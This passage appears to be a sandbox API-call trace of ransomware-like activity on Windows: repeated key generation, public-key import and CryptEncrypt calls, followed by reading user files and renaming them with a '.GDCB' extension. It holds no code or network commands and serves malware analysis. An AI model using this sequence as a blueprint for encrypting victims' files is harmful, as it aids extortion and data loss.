pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0x74a0000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0217.733] GetLastError () returned 0x0 [0217.733] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0217.733] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0217.735] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x648b580) returned 1 [0217.735] CryptGetKeyParam (in: hKey=0x648b580, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0217.735] CryptEncrypt (in: hKey=0x648b580, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x74b0000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0x74b0000*, pdwDataLen=0x285db40*=0x100) returned 1 [0217.736] GetLastError () returned 0x0 [0217.736] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0217.736] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\GameDVR\\KnownGameList.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\gamedvr\\knowngamelist.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0217.763] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0217.765] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0217.766] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0217.766] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0217.766] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0217.766] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0217.768] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0217.769] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0217.769] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0217.769] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0217.769] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0217.771] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6484c80) returned 1 [0217.771] CryptGetKeyParam (in: hKey=0x6484c80, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0217.771] CryptEncrypt (in: hKey=0x6484c80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x74c0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x74c0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0217.771] GetLastError () returned 0x0 [0217.771] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0217.771] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0217.773] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6484e40) returned 1 [0217.773] CryptGetKeyParam (in: hKey=0x6484e40, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0217.773] CryptEncrypt (in: hKey=0x6484e40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x74d0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x74d0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0217.774] GetLastError () returned 0x0 [0217.774] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0217.774] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\L8OQST1L\\consent.google[1].xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\l8oqst1l\\consent.google[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0217.775] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x74e0000 [0217.777] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x74f0000 [0217.778] ReadFile (in: hFile=0x510, lpBuffer=0x74f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x74f0000*, lpNumberOfBytesRead=0x285d670*=0x220, lpOverlapped=0x0) returned 1 [0217.783] VirtualAlloc (lpAddress=0x0, dwSize=0x220, flAllocationType=0x3000, flProtect=0x4) returned 0x7600000 [0217.827] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\L8OQST1L\\consent.google[1].xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\l8oqst1l\\consent.google[1].xml"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\L8OQST1L\\consent.google[1].xml.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\l8oqst1l\\consent.google[1].xml.gdcb")) returned 1 [0217.852] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0217.854] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0217.855] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0217.855] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0217.855] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0217.855] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0217.856] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0217.857] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0217.857] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0217.857] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0217.857] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0217.860] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6484880) returned 1 [0217.860] CryptGetKeyParam (in: hKey=0x6484880, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0217.860] CryptEncrypt (in: hKey=0x6484880, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x74c0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x74c0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0217.860] GetLastError () returned 0x0 [0217.860] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0217.860] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0217.862] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x64849c0) returned 1 [0217.862] CryptGetKeyParam (in: hKey=0x64849c0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0217.862] CryptEncrypt (in: hKey=0x64849c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x74d0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x74d0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0217.862] GetLastError () returned 0x0 [0217.862] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0217.862] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{63E26EB7-6816-11E7-9BD2-C40142ECDE47}.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\last active\\recoverystore.{63e26eb7-6816-11e7-9bd2-c40142ecde47}.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0217.863] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0217.865] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0217.866] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0217.866] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0217.866] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0217.866] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0217.867] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0217.869] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0217.869] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0217.869] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0217.869] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0217.871] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6484d00) returned 1 [0217.871] CryptGetKeyParam (in: hKey=0x6484d00, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0217.871] CryptEncrypt (in: hKey=0x6484d00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x74e0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x74e0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0217.871] GetLastError () returned 0x0 [0217.871] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0217.871] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0217.873] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6484ec0) returned 1 [0217.873] CryptGetKeyParam (in: hKey=0x6484ec0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0217.873] CryptEncrypt (in: hKey=0x6484ec0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x74f0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x74f0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0217.874] GetLastError () returned 0x0 [0217.874] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0217.874] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\{DAB3814F-C5D5-11E7-9BDA-C40142ECDE47}.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\last active\\{dab3814f-c5d5-11e7-9bda-c40142ecde47}.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0218.595] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0218.597] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0218.598] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0218.599] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0218.599] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0218.599] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0218.600] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0218.601] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0218.601] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0218.601] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0218.601] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0218.603] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6484cc0) returned 1 [0218.603] CryptGetKeyParam (in: hKey=0x6484cc0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0218.603] CryptEncrypt (in: hKey=0x6484cc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7500000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x7500000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0218.604] GetLastError () returned 0x0 [0218.604] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0218.604] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0218.605] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6484b40) returned 1 [0218.605] CryptGetKeyParam (in: hKey=0x6484b40, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0218.605] CryptEncrypt (in: hKey=0x6484b40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7510000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x7510000*, pdwDataLen=0x285d630*=0x100) returned 1 [0218.605] GetLastError () returned 0x0 [0218.605] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0218.606] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\onDemandSelectiveSync.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\ondemandselectivesync.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0218.607] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7520000 [0218.608] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7530000 [0218.610] ReadFile (in: hFile=0x510, lpBuffer=0x7530000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x7530000*, lpNumberOfBytesRead=0x285d670*=0xc70, lpOverlapped=0x0) returned 1 [0218.622] VirtualAlloc (lpAddress=0x0, dwSize=0xc70, flAllocationType=0x3000, flProtect=0x4) returned 0x7640000 [0218.629] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\onDemandSelectiveSync.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\ondemandselectivesync.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\onDemandSelectiveSync.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\ondemandselectivesync.svg.gdcb")) returned 1 [0219.080] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0219.083] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0219.085] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0219.085] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0219.085] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0219.085] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0219.087] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0219.088] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0219.088] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0219.089] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0219.089] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0219.091] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6484a40) returned 1 [0219.091] CryptGetKeyParam (in: hKey=0x6484a40, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0219.091] CryptEncrypt (in: hKey=0x6484a40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7500000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x7500000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0219.092] GetLastError () returned 0x0 [0219.092] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0219.092] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0219.094] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6484980) returned 1 [0219.094] CryptGetKeyParam (in: hKey=0x6484980, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0219.094] CryptEncrypt (in: hKey=0x6484980, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7510000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x7510000*, pdwDataLen=0x285d630*=0x100) returned 1 [0219.094] GetLastError () returned 0x0 [0219.094] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0219.094] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\checkmark_in_progress.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\checkmark_in_progress.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0219.095] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7520000 [0219.097] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7530000 [0219.099] ReadFile (in: hFile=0x510, lpBuffer=0x7530000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x7530000*, lpNumberOfBytesRead=0x285d670*=0x3a0, lpOverlapped=0x0) returned 1 [0219.107] VirtualAlloc (lpAddress=0x0, dwSize=0x3a0, flAllocationType=0x3000, flProtect=0x4) returned 0x7640000 [0219.112] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\checkmark_in_progress.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\checkmark_in_progress.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\checkmark_in_progress.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\checkmark_in_progress.svg.gdcb")) returned 1 [0219.354] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0219.356] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0219.357] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0219.357] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0219.357] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0219.357] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0219.359] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0219.360] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0219.360] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0219.360] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0219.361] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0219.363] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6484f80) returned 1 [0219.363] CryptGetKeyParam (in: hKey=0x6484f80, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0219.363] CryptEncrypt (in: hKey=0x6484f80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7500000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x7500000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0219.364] GetLastError () returned 0x0 [0219.364] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0219.364] CryptAcquireContextW (in: 